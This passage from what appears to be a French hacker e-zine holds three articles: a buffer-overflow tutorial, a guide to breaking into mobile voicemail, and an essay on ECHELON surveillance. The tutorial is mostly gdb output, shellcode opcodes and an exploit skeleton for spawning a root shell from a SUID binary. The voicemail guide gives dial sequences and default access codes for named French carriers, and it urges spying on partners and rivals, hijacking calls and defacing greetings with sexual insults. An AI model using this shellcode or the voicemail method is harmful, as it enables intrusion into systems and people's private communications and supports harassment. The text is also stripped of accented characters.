: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : subl $0x400,%esp 0x10c9 : call 0x1164 <__main> 0x10ce : movl 0xc(%ebp),%eax 0x10d1 : addl $0x4,%eax 0x10d4 : movl (%eax),%edx 0x10d6 : pushl %edx 0x10d7 : leal 0xfffffc00(%ebp),%eax 0x10dd : pushl %eax 0x10de : call 0x1238 0x10e3 : addl $0x8,%esp 0x10e6 : leave 0x10e7 : ret End of assembler dump. Nous observons ici que l'adresse de "buffer", tant place dans la stack en dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera ncessairement contenue dans le registre %eax, tel que le dmontre "pushl %eax" a l'adresse 0x10dd. Ainsi, nous pourrons rcuprer l'adresse de "buffer" en rcuprant le contenu de %eax juste avant l'appel de strcpy(). (gdb) break *0x10de Breakpoint 1 at 0x10de (gdb) run Starting program: /usr/home/mbuf/dev/suid Breakpoint 1, 0x10de in main () (gdb) info registers eax 0xefbfd91c -272639716 ecx 0xefbfdd40 -272638656 edx 0x0 0 ebx 0xefbfdd3c -272638660 esp 0xefbfd914 0xefbfd914 ebp 0xefbfdd1c 0xefbfdd1c esi 0xefbfdd97 -272638569 edi 0x0 0 eip 0x10de 0x10de eflags 0x286 646 cs 0x1f 31 ss 0x27 39 ds 0x27 39 es 0x27 39 (gdb) Bingo. On s'aperoit ici que l'adresse de "buffer" est 0xefbfd91c. Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant l'appel de main(). Pour faire une telle chose, la technique la plus sre est sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip avec exactitude et d'obtenir la distance exacte entre le dbut du buffer a overflower et la position de %eip. iff% gdb suid [...] (gdb) run `perl -e "printf('A'x1032)";echo BBBB` Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () (gdb) run `perl -e "printf('A'x1028)";echo BBBB` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) bt #0 0x42424242 in ?? () #1 0x0 in ?? () (gdb) Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est spar de l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que "buffer" a une taille de 1024 bytes. LE SHELLCODE ~~~~~~~~~~~~ Maintenant, il est temps de passer aux choses srieuses. Nous devons crire le shellcode, soit le code que nous excuterons arbitrairement. Pour ce faire, nous allons d'abord crire le code en C pour ensuite le dsassembler... iff% cat > code.c main() { char *cmd[] = {"/bin/sh",0}; execve("/bin/sh", cmd, 0); } ^C iff% gcc -static code.c -o code iff% ./code $ exit iff% gdb code [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c8
: pushl %ebp 0x10c9 : movl %esp,%ebp 0x10cb : subl $0x8,%esp 0x10ce : call 0x1174 <__main> 0x10d3 : leal 0xfffffff8(%ebp),%eax 0x10d6 : movl $0x10c0,0xfffffff8(%ebp) 0x10dd : movl $0x0,0xfffffffc(%ebp) 0x10e4 : pushl $0x0 0x10e6 : leal 0xfffffff8(%ebp),%eax 0x10e9 : pushl %eax 0x10ea : pushl $0x10c0 0x10ef : call 0x1218 0x10f4 : addl $0xc,%esp 0x10f7 : leave 0x10f8 : ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) On voit ici une grande partie du code que nous dsirons inclure dans notre shellcode. Comme vous auriez pu le deviner, de nombreuses modifications devront tre portes avant que celui-ci ne soit utilisable. Voici en fait les quelques instructions ncessaires au bon fonctionnement du shellcode: movl [shell],0xfffffff8(%ebp) 7 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl [shell] 5 bytes leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes "/bin/sh" Maintenant que nous avons trouve les instructions a placer dans le shellcode, il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on dcide d'crire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est trivial de calculer la position exacte de "/bin/sh" dans le buffer, tant donner que nous connaissons dj la position du buffer en mmoire. Cependant, nous ne dsirons pas rfrer a "/bin/sh" de faon statique dans notre shellcode. Pourquoi? tout simplement parce que si on dsire placer le shellcode dans un autre buffer que celui a overflower, nous devrons aussi _recrire_ le shellcode en entier. C'est pourquoi, lorsque l'on dsire faire appel a la string "/bin/sh", nous utiliserons une technique simple mais efficace de wrapping: jmp [call addr] popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call [popl addr] "/bin/sh" Et voil. Sachant que les instructions jmp et call peuvent prendre comme operands des adresses relatives et que lorsqu'un call est effectuer, l'adresse de l'instruction suivante est place dans la stack (l'image de %eip), nous pourrons retrouver l'adresse de "/bin/sh" en la retirant de la stack et en la plaant dans un registre non utilis (%ebx). Pour trouver les adresses relatives (offset) de popl et call, nous devrons d'abord trouver la taille de chacune des nouvelles instructions que nous avons insrs: iff% cat > wrapper.c main() { __asm__(" jmp 37 popl %ebx movl %ebx,0xfffffff8(%ebp) pushl %ebx call -36 "); } ^C iff% gdb wrapper [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : call 0x1154 <__main> 0x10c8 : jmp 0x10ef <__do_global_dtors+15> 0x10ca : popl %ebx 0x10cb : movl %ebx,0xfffffff8(%ebp) 0x10ce : pushl %ebx 0x10cf : call 0x10b0 0x10d4 : leave 0x10d5 : ret (gdb) Parfait, voici donc avec exactitude le nouveau code que nous dsirons avoir dans notre shellcode: jmp 31 2 bytes popl %ebx 1 byte movl %ebx,0xfffffff8(%ebp) 3 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx 1 byte leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call -36 5 bytes "/bin/sh" Voil! Il est maintenant temps de r蜑crire notre wrapper, puis de trouver les opcodes associes a chacune des instructions que nous dsirons utiliser. Pour des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel que dmontr dans l'exemple ci haut. C'est pourquoi nous trouverons les opcodes de toutes les instructions en crivant ces dernires dans un inline __asm__, alors que nous trouverons lcall en dsassemblant execve(): iff% cat > asmcode.c main() { __asm__(" jmp 31 popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl %ebx leal 0x3b,%eax call -31 "); execve("", 0, 0); } iff% gcc -static asmcode.c -o asmcode iff% gdb asmcode [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c4
: pushl %ebp 0x10c5 : movl %esp,%ebp 0x10c7 : call 0x1174 <__main> 0x10cc : jmp 0x10ed # = +7 0x10ce : popl %ebx 0x10cf : movl %ebx,0xfffffff8(%ebp) 0x10d2 : movl $0x0,0xfffffffc(%ebp) 0x10d9 : pushl $0x0 0x10db : leal 0xfffffff8(%ebp),%eax 0x10de : pushl %eax 0x10df : pushl %ebx 0x10e0 : leal 0x3b,%eax 0x10e6 : call 0x10c7 # = -7 0x10eb : pushl $0x0 0x10ed : pushl $0x0 0x10ef : pushl $0x10c0 0x10f4 : call 0x1218 0x10f9 : addl $0xc,%esp 0x10fc : leave 0x10fd : ret (gdb) x/31xb 0x10cc 0x10cc : 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0x10d4 : 0xfc 0x00 0x00 0x00 0x00 0x6a 0x00 0x8d 0x10dc : 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x10e4 : 0x00 0x00 0xe8 0xdc 0xff 0xff 0xff (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) x/13xb 0x1218 0x1218 : 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 0x1220 : 0x00 0x00 0x00 0x07 0x00 (gdb) Et voil. Voici a quoi va ressembler notre shellcode complet: 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 <--- main 0x6a 0x00 0x8d 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x00 0x00 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 <--- execve 0x00 0x00 0x00 0x07 0x00 0xe8 0xdc 0xff <--- call [popl] 0xff 0xff "/bin/sh" <--- shell Hum. On aperoit un autre problme ici. Le shellcode semble parfait _mais_ il ne pourra jamais tre copier en entier via une fonction comme strcpy(). Pourquoi? tout simplement a cause des 0x00, qui seront considrs comme une fin de string. C'est pourquoi deux solutions s'offrent a nous. La premire serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque cas ncessaire. La seconde serait d'insrer le shellcode ailleurs que dans le buffer cible, ce qui serait la aussi une solution trs viable (la placer en argv[X] ou autre). L'EXPLOIT ~~~~~~~~~ Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce problme pour laisser au codeur le choix de sa technique. Cela vitera, de plus, que cet article soit utilise aveuglement pour fournir aux script kids une facon simple d'crire leurs propres exploits. Voici donc a quoi ressemblerait un exploit pour un buffer overflow cree par une fonction telle bcopy() (ce qui est trs rare, tant donner la possibilit le limiter la taille des donnes copies qu'offre bcopy()): #define OFFSET 1028 char shellcode[] = "\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00" "\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff" "/bin/sh"; main(int argc, char *argv[]) { char string[OFFSET+4]; int i, j; /* copie les NOPs */ for(i=0;i<(OFFSET-sizeof(shellcode));i++) string[i] = 0x90; /* copie le shellcode */ for(i=i,j=0;i ^^^^^^^^^^^^^^ (also in FrHack) # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい CELLULAR BAL INTRUSION いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい 1)Intro Le Cellular Bal Intrusion, est une mthode permetant la prise de contrle de boite vocal de tlphone cellulaire. Cette technique est tres peu utilise quelque soit le domaine. En effet alors que le CBI permeterais l' obtention d' informations parfois d' ordre principal, la technique n' est jamais employe, et bien souvent a tort.... Car non seulement d' une rapidit exemplaire, mais aussi d' une facilit dconcertante le CBI peut s' appliqu a de nombreux domaines. 2) Fonctionalites apports par mthode CBI: -Ecoute de message de type peronnels et professionels du CBU (Cellular Bal User). -Prise de contrle de la Cellular Bal -Reroutage des informations -Dfacage du CBM (Cellular Bal Message) 3) Dtails et applications Dans cette section nous observerons les differentes possiblilites que vous permettent cette mthode, on tudira ensuite comment raliser cette technique. Mme si cette technique peut vous paraitre parfois contraignante du fait que l' information voulu n' est pas toujours la clefs, quand elle y est ... a) Le CBUE Le CBUE; coute de message de type peronnels et professionels du CBU (Cellular Bal User); est la fonctionalite la plus importante. Elle peut aborde un objectif proffessionel ou personel. * CBUE usage proffessionel. Cette methode d' intrusion vous permeteras de connaitre des informations d' ordre prive, tel que la possible ngociation de contrat inter-entreprise, affiliations, ... Abordons donc comment vous pourrez l' utiliser. Pour commencer vous devrez vous procurer le numro de l' agence, entreprise, personalit sur laquelle vous rechercher des informations. Pour ce faire utilisez les techniques courantes de Social Engeenering. Une fois cette obtention ralise, procdez a cette technique rgulierement car les Cellular Bals sont rgulierment mise a jour soit par le fournisseur, soit par le client lui mme. Ensuite reperez et notez ces informations ... Je vous conseillerais donc d' utiliser le CBUE sur plusieurs membres aux fonctions importantes de l' entreprise. Je ne pense pas avoir vous expliquer comment utiliser ces informations, non? Ici je vais vous dmontrer un exemple de renseignements utiles par une liste non hexaustive que sont : -contrats, tractations et affiliations en negotiations entre entreprises dans le but de devancer l' effet de surprise et de prvoire une tactique de repliment pour le cas chant et ne pas etre lais (soit en faissant un meilleur offre, ou ... si vous avez une certaine tche dans votre entreprise vous serez que faire). -parfois mme obtenir des codes d' accs, dtails de scurits,... car mme ayant connaissance de probleme de scurit informatique, trs rare sont ceux qui se mfient du contenus de leur Cellular Bals. -informations sur l' illgalits de certaines actions qui pourrait tre dommagable si tel affaire s' bruitait... donc favorable pour vous :p . -tellement de fonctionnalites, chaque jour vous en dcouvrirez d' autres. * CBUE usage personnel Reconstituez strictement les mmes mthodes que pour l' usage proffessionel, la difference est juste d' ordre d' application. Enonons qui peut bien servir cette technique; TOUT le monde! Aussi bien le dtective priv, que l' amoureux transit, le paranoaque nvros que la commre du coin! En effet vous pourrez prendre connaissance d' informations d' ordre prives sur un client, voisin, ami, ennemi, votre mre, votre pre, petite amie ou petit copain, mari ou femme, ... tout ceux qu' il vous chanteras d' couter. Ses applications? -savoir si votre petit(e) ami(e) vous trompe, -savoir si votre mre a reu des messages salace, -tout et n' importe quoi! En bref tester, vous en apprenderez certainement beaucoup des personnes qui vous entourent. b)Prise de contrle de la Cellular Bal Cette technique est simple, ps avoir eu cces la Cellular Bal, on vous propose des possibilits d' options tel que l' ecoute de la Cellular Bal, modifiction du CBM (Cellular Bal Message), modification du code d' cces, effacement de messages, ... Soit plein de possiblit d' utilisations dcouvrir. c)Reroutage d' informations En fait cette tecnique consiste apres une prise de contrle du cellulaire renvoyer les appel destination du CBU. Pour ce faire vous changerez le CBM par une redirection vers votre moyen d' coute. Rerouter donc les appels entrant vers vous en donnant par exemple une raison de changement de numero (" en raison de changement de fonctionalit de Mr ..son nom.. son numro proffessionel est dsormais le ..votre n.. veuillez excuser la ..sa socite.. pour ce drangement"). Voici un simple exemple mais vous en trouverz de multipes solutions pour le cas ci-contre. Je vous conseillerais toutefois de changer son code d' cces au cas ou il lui prendrait l' ide d' couter son CBM. Vous trouverez vous mme les applications envisageable en reroutant des clients vous. Utilisez cette procdure avec modration car si le CBU s' apperoit de probleme il appelera son service lient et changera l' cces ... vous de voir; mais attendez plutt des moments propices comme une commande,... d)-Dfacage du CBM (Cellular Bal Message) Cette technique est surtout d' ordre personnel, et est le cot fun de la mthode. Elle permet un dfaage du CBM en le remplaant par un message de votre got ("36015 M...E....N por les hommes qui aiment les hommes,..." "je suis une grosses salope en manque de sex, alors si tu est bien galb laisse moi un message ou viens chez moi au ...... ", etc). Ou tout simplement " YOUR CELLULAR BAL WAS BEEB HACKED BY THE ARCHIVIST AN MEMBER OF HACKTIF FOR PROTEST AGAINT THE UNSECURITY SYSTEME OF ITINERIS" Arf,... c 'est le petit moment de dtente, de foutage de geule, d' humiliation du CBU, de pure trip :p A consommer sans moderations ... 4) Mthodes En fait la mthode est tres tres simple, vous vous dites que malgr tout il va vous faloir quelques notions, apprendre, .... He! NON! Il vous faut juste un doit pour enculer le CBU... La raison est une "dbilitude profonde" des sysadmins qui n' ont pas crus bon de protger l' accs, se disant que a risquait d' tre trop compliqu pour l' usager... bref voulais pas se fatiguer surtout!!! Bon la mthode: -Etape1 : Prenez votre phone en main. -Etape2 : Composez le n de consultation a distance du CBM. -Etape3 : Composez le code par dfault pour la consultation du CBM distance. -Etape4 : Euh....y en a pas , plus qu' a faire ce que vous voulez. -Etape5 : Ben racrochez .... finish. Et oui aussi simple que a, maintenant comment connaitre le n de consultation distance, et le code d' acces par dfault? Chaque fournisseur en a des differents et parfois plusieurs mme, idem pour son code. Pour les obtenir lisez la documentation pour la consultation distance de sa Cellular Bal, demandez a vos amis comment ils procedent suivant leur forfait, des revendeurs, ... Je ne vais vous donner tout les numeros d' appels et codes car vous de chercher un peu aussi, mais pour vous ammuser un peu en voila tout de mme quelques uns: -ITINERIS: n de consultation=06.07.07(ou 08.08. pour les tout rcents abonements) prcds des quatres premiers numros du tlephone en question suivant le 06. Par exemple pour le 06.83.99.99.99 faites le 06.07.07.83.99. Ensuite on vous demanderas de rentrer le numro total suivit de dieze: faites le 06.83.99.99.99#. Enfin on vous demanderas le code d' accs, qui est pour itineris par dfaut le 0000 (simple, non? :p ) puis #. Voil vous etes dans la Cellular Bal. -SFR: Appeler le n du CBU. Appuyer sur # lorsque vous coutez le CBM, puis composer le code d' accs suivit de # . Le code est le 1 suivit des cinq derniers chiffres du n du CBU; puis #; soit pour le 06.83.99.99.99 faites le 1.9.99.99#. Et si le vous tes a l' tranger faites +33611 suivi des 6 premiers chiffres du n du CBU; soit pour le 06.83.99.99.99 faites le +33611.83.99.99 Pour cette mthode le code ne doit pas avoir t chang, mais c' est le cas pour 95% des cas!!! Let' s go! 5) Outro Le CBI est certainement pas Le grand moyen d' espionnage et d' obtention d' informations, mais facile d' emploit et de ralisation il vous sera certainement d' utilite un jour ou l' autre. Le CBI est donc bel est bien utilisable dut a une ingrance des systmes et applications de nos chers (ah bon?) fournisseurs clulaires . Peut tre qu' ainsi, de part ce texte, ils se bougeront et ferrons enfin leur devoir minimum envers leurs clients, pour un service dja assez cher pay, en atribuant directement un code d' accs indpendant et diffrent chaque utilisateur. Dans tout les cas Vous changez le votre et faite le changer aux personnes qui vous entourent, merci! Souvent c' est dans l' abus et une trop grande utilisation de mthodes non lgales que les chosent se modifient l o les lettres ne font rien. Etant donn que les personnes concernes ne veulent rien faire, forons les! )-)< The Archivist ^>(-( ^^^^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい BIG BROTHER & ECHELON いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Introduction: Big Brother c'est quoi au juste big brother, c'est quelqu'un ou quelque chose qui controle la planete, qui en dpit de toutes les valeurs morales que nous avons, espionne, tue et tout ca en toute impunit. Aujourd'hui le big brother c'est les States (U.S.A), ca tout le monde le savait, mais bien plus qu'une simple incursion dans notre vie aujourd'hui les Etats Unis espionne le moindre faits et gestes de la population mondiale. En effet a l'heure ou l'Europe veut combattre l'hgmonie amricaine un tat europen nomm l'angleterre abrite une base qui permet ses oreilles gantes de nous espionner.... Lexique: NSA : National Security Agency elle est charge de la scurit de l'tat amricain, on ne peut pas dfinir exactement ces objectifs car toutes les directives sont classs TOP SECRET, donc il est possible d'imaginer le pire. Son budget est de 17 Milliards de dollars. Elle fut fonde en 1952 par le prsident Truman, mais le gouvernement reconnu sont existence quand 1957.Il faut savoir que c'est le plus gros employeur de scientifiques (mathmaticiens, chiffreurs, dchiffreurs *NSA : il y a un autre organisme avec les mmes initiales mais avec une signification diffrente National Security Archive. Cette une organisation non gouvernementale, c'est elle qui a russit faire dclassifier des documents classs TOP SECRET, et dans ces documents Echelon est explicitement mentionn, on peu dcouvrir dans ces documents diffrente information sur les bases de l'US air force accueillant ce systme dans le monde. SCS : il y a quelques annes la NSA et la CIA aurait cr蜑 une agence commune, le SCS Spcial Collection Service, cette agence serait charg de dcrypter les messages qui sont extrmement bien protg et qui sont longs dcoder. Sa mission est de s'introduire dans les sytmes d'informations ( soit par piratage ou en se rendant sur place) Elle distribue des chevaux de Troie et elle collecte des informations. Le gouvernement amricain n'a jamais reconnu l'existence de cette agence... Le systeme echelon: Vous souvenez vous du roman de George Orwell dnoncait un cerveau totalitaire et depourvu de toute morale humaine. Un espion qui vient de la ou on ne l'attendait pas finit le temps de l'espion russe ou du james bond agent trainant sur le terrain pour collecter des informations ou dejouer des complots.Aujourd'hui big brother est partout prsent dans notre vie traquant le moindre secret que nous pourrions vouloir lui dissimuler, il espionne sur notre vie pour etre au courant de nos moindre faits et geste mais il espionne aussi a une fin commerciale et industrielle afin de ne pas tre dpass par des illumins avides de dcouvertes et qui n'ont pas comme objectif de faire de l'argent et un profit illimit.Le dvellopemment des nouvelles technologies et l'inscuirt qui trainent sur le net favorise l'espionnage Mais c'est quoi au juste ce rseau d'espionnage On l'appelle le rseau Echelon. Ses dtracteurs, c'est--dire ceux qui n'y ont pas accs, l'ont dnomm le Club . Par drision ou par jalousie. Au motif qu'il est strictement rserv cinq Etats dans le monde, qui parlent l'anglais et qui, forts de cette communaut de langue qui les rapproche et en fait des comploteurs, ont tiss entre eux seuls des liens spciaux : les Etats-Unis, la Grande-Bretagne, le Canada, la Nouvelle-Zlande et l'Australie. Echelon est leur machine de guerre top-secret, mme s'il est probable que d'autres pays, selon des modalits particulires chacun et restrictives par rapport aux Etats fondateurs, l'ont rejoint en cours de route, tels, parmi les plus souvent cits, l'Allemagne, le Japon, la Core du Sud, la Turquie ou la Norvge. D'o vient que ce systme plantaire de surveillance lectronique a suscit autant d'motion Bruxelles, au point que, le 30 mars, le Conseil, la Commission et le Parlement de l'Union europenne ont prvu d'en dbattre aprs la publication, fin fvrier, d'un rapport ? De la simple constatation, qui en offusque plus d'un : des allis espionnent d'autres allis, puisque, au sein de ce club anglo-saxon, trois pays appartiennent l'OTAN (les Etats-Unis, la Grande-Bretagne et le Canada) et que l'un d'eux, le Royaume-Uni, est de surcrot membre de l'Union europenne. C'est la loyaut entre allis qui est gravement affecte. Tout commence en 1947. L'Union sovitique vient de renoncer profiter du plan Marshall, du nom de ce gnral amricain qui fut le principal collaborateur du prsident Roosevelt pendant la seconde guerre mondiale et qui, devenu secrtaire d'Etat en 1947, propose l'Europe, pays de l'Est compris, de l'assister dans sa reconstruction et son redressement financier. Ce qu'on a appel, ensuite, la guerre froide entre l'Est et l'Ouest commence. L'Union sovitique, se croyant assige, entreprend de s'entourer d'un glacis protecteur form de pays d'Europe centrale. L'anne suivante, un pacte secret, dont les dtails le restent encore ce jour, va lier les Etats-Unis la Grande-Bretagne, dj partenaires, depuis 1943, dans un rseau de renseignement dnomm Brusa Comint. Ce pacte-l prend le nom de code Ukusa, par rfrence aux initiales des deux pays. Deux agences, la National Security Agency (NSA), Fort George Meade (Etats-Unis), dont l'existence ne sera reconnue que dix ans aprs par Washington, et le Government Communications Headquarters (GCHQ), Cheltenham (Grande-Bretagne), sont invites prserver les intrts des deux pays dans le monde en interceptant les transmissions l'tranger. La NSA et le GSHQ sont dj des outils performants en matire d'espionnage lectronique. Leur travail prioritaire consiste couter les missions que s'changent les tats-majors toujours trop bavards des armes du bloc communiste et desquelles on dduit l'ordre de bataille sur le terrain, c'est--dire leurs capacits combattre. Dans les annes 70, la France, au travers d'une Bourse des changes entre services spciaux occidentaux, dnomme Totem, a t associe aux interceptions de la NSA, notamment pour la mise au point de logiciels d'analyse des informations recueillies et pour la communication d'une srie de renseignements sur le dispositif militaire en Europe de l'Est. Mais Ukusa va grandir ou, plutt, il enfle. Le pacte de dpart attire d'autres candidats qui veulent, eux aussi, bnficier des mmes renseignements. S'y rallient le Defence Signals Directorate (DSD), Melbourne, en Australie ; le Communications Security Establishment (CSE), Ottawa, au Canada, et le Government Communications Security Bureau (GCSB), en Nouvelle-Zlande. Autant de services de renseignement but militaire, qui sont d'ordinaire trs discrets, voire individualistes et qui confrrie oblige vont apprendre cooprer sous l'impulsion des gouvernements en constituant une sainte alliance de l'espionnage. En s'panouissant sous le nez des initis, Ukusa se transforme. Il reste l'un des secrets les mieux gards au monde. Il faudra attendre 1972 pour que la revue amricaine Remparts, qui est le moyen d'expression des dnonciateurs du complexe militaro-industriel amricain, publie les confidences d'un ancien de la NSA sans, pour autant, prononcer le nom d'Echelon. Mais, Echelon existe, cach derrire Ukusa. Car, entre-temps, l'Ukusa de la guerre froide a engendr ce que d'aucuns, probablement avec indulgence, qualifient de caricature de Big Brother. Les annes 1952, 1957, 1984, 1986 et 1988 marquent les tapes significatives de cette machine espionner qui se met en place avec Echelon et qui est capable pour peu qu'on russisse recruter les interprtes adquats d'intercepter, puis d'analyser, les messages circulant sur la plante travers une centaine de langues diffrentes. DS lors, le destin d'Echelon s'accomplit. Les grandes oreilles ne se satisfont plus d'couter l'adversaire ventuel. Tout est cible potentielle : les tlphones, y compris dsormais les mobiles, les telex, les tlcopieurs, Internet et la messagerie lectronique des administrations, des entreprises et des particuliers, qui passent, pour la plupart, par les satellites Intelsat et Immarsat. Les cinq Etats de la sainte alliance se rpartissent la tche : la NSA amricaine se charge des deux Amriques, le GCHQ britannique de l'Europe (Russie incluse) et de l'Afrique, le DSD australien de l'Asie-Pacifique avec le GCSB no-zlandais, et le CSE canadien de l'Europe et des Amriques. Echelon intercepte, dtourne et dcrypte les communications civiles et militaires, mme les plus sensibles quand il parvient dverrouiller leur codage de haute scurit, en reprant des mots-cls qui permettent d'isoler les donnes juges les plus intressantes. Il transmet alors ses informations aux services de renseignement, charge pour eux de les interprter au profit des gouvernements destinataires qui les exploitent. Longtemps, le systme s'est cru l'abri, lisant livre ouvert dans les communications d'autrui. En toute impunit. Et puis sont apparus des dysfonctionnements. Des incidents et des drives ont t signals, souvent par d'anciens agents de la NSA ou du GCHQ qui taient lis par des contrats de confidentialit sur leurs activits antrieures, signs en partant, mais qui n'ont pu se retenir de parler malgr la menace d'un procs. A la NSA, par exemple, de l'aveu du gnral Michael Hayden, son directeur actuel, 7 000 des 38 000 employs ont quitt leur travail durant ces dernires annes. Comment les astreindre tous au silence ? La NSA a tent de noyer le poisson. C'tait compter sans des associations de dfense des droits de l'homme et des liberts individuelles, garantis par la Constitution amricaine, qui ont rvl les turpitudes d'Echelon. A vrai dire, les interceptions dont sont victimes les gouvernements sont considres comme relevant des piges que se tendent, non sans hypocrisie, les Etats, allis ou non. C'est quasiment la rgle du jeu, celui de l'espionnage, qui, prcisment, n'a pas de rgle crite ni tacite. A chacun de se prserver. C'est la loi du genre. Et la France, en la circonstance, est mal venue de se formaliser, elle dont les grandes oreilles se cachent sous l'anonymat de l'ex-Groupement des contrles radiolectriques (GCR), devenu la direction technique la direction gnrale de la scurit extrieure (DGSE), qui dispose de ses coutes. Les partisans d'Echelon, aux Etats-Unis, sont convaincus que la dcouverte des missiles nuclaires sovitiques Cuba en 1962, la capture de terroristes sur le paquebot Achille-Lauro en 1995 ou l'implication de la Libye dans l'attentat contre une discothque de Berlin en 1996 justifient le travail de stations d'coutes dans le monde. Il y eut des rats, comme la prise, en 1968, par les Corens du Nord, du Pueblo, un navire-espion amricain qui tait venu les narguer devant leurs ctes. Mais l o le bt blesse, c'est quand ce contrle clandestin des transmissions s'exerce l'encontre d'entreprises en pleines tractations avec un client, rivales de groupes amricains qu' Echelon cherche privilgier, ou quand la surveillance s'tend, sous des motifs plus ou moins avouables, aux communications entre particuliers, dont la vie prive est scrute. Quelques investigateurs, notamment la Free Congress Research and Education Foundation, Washington, se sont consacrs ce travail de fourmi qui consiste recenser et mettre nu les manquements et les accommodements, face la loi, du systme Echelon, qui, pendant et aprs la guerre froide, a continu d'oeuvrer selon la tradition de tous les services spciaux dans le monde : Pas vu, pas pris. Ces oprations ne sont connues que parce que, soudain et aprs coup, elles arrivent aux oreilles d'un Congrs dtermin faire le mnage. TEL le projet Shamrock , qui a permis d'intercepter les tlgrammes mis ou reus par le biais de Western Union, RCA ou ITT, durant les annes 50 et 60. Tel encore le projet Minaret, quand les Etats-Unis coutrent, entre 1967 et 1973, 6 000 trangers et 1 700 organisations ou particuliers amricains, parmi lesquels Martin Luther King, Malcom X, Jane Fonda et Joan Baez. Tel aussi le projet Chaos, qui eut pour objet, sous les prsidences de Lyndon Johnson, puis de Richard Nixon, de traquer des tudiants quelque 7 000 et des militants pas moins d'un millier d'organisations - hostiles la guerre du Vietnam. Le Free Congress Research and Education Foundation rapporte qu'Echelon n'est pas demeur inactif au Canada et en Grande-Bretagne. A Ottawa, il s'est agi de dcouvrir si Margaret Trudeau, pouse du premier ministre d'alors, consommait de la marijuana. A Londres, du temps de Margaret Thatcher la tte du cabinet conservateur, furent couts des ministres, des contribuables, comme le patron de presse Robert Maxwell, ou des mdias, tel The Observer, qui s'taient mus des activits de Mark, le fils du premier ministre lors de ventes d'armes avec l'Arabie saoudite. Dans son rapport examin fin fvrier, le Parlement europen a identifi la NSA comme ayant servi de grandes oreilles Echelon en 1994 pour permettre au groupe amricain Raytheon de souffler un march de radars, au Brsil, aux deux socits franaises Thomson-CSF et Alcatel. Mais d'autres entreprises ont souffert de cet espionnage matrialis, outre-Atlantique, par la cration auprs du secrtaire au commerce d'un Conseil conomique national, vrai conseil de guerre pour coordonner et centraliser l'action des services de renseignement au profit des grands groupes 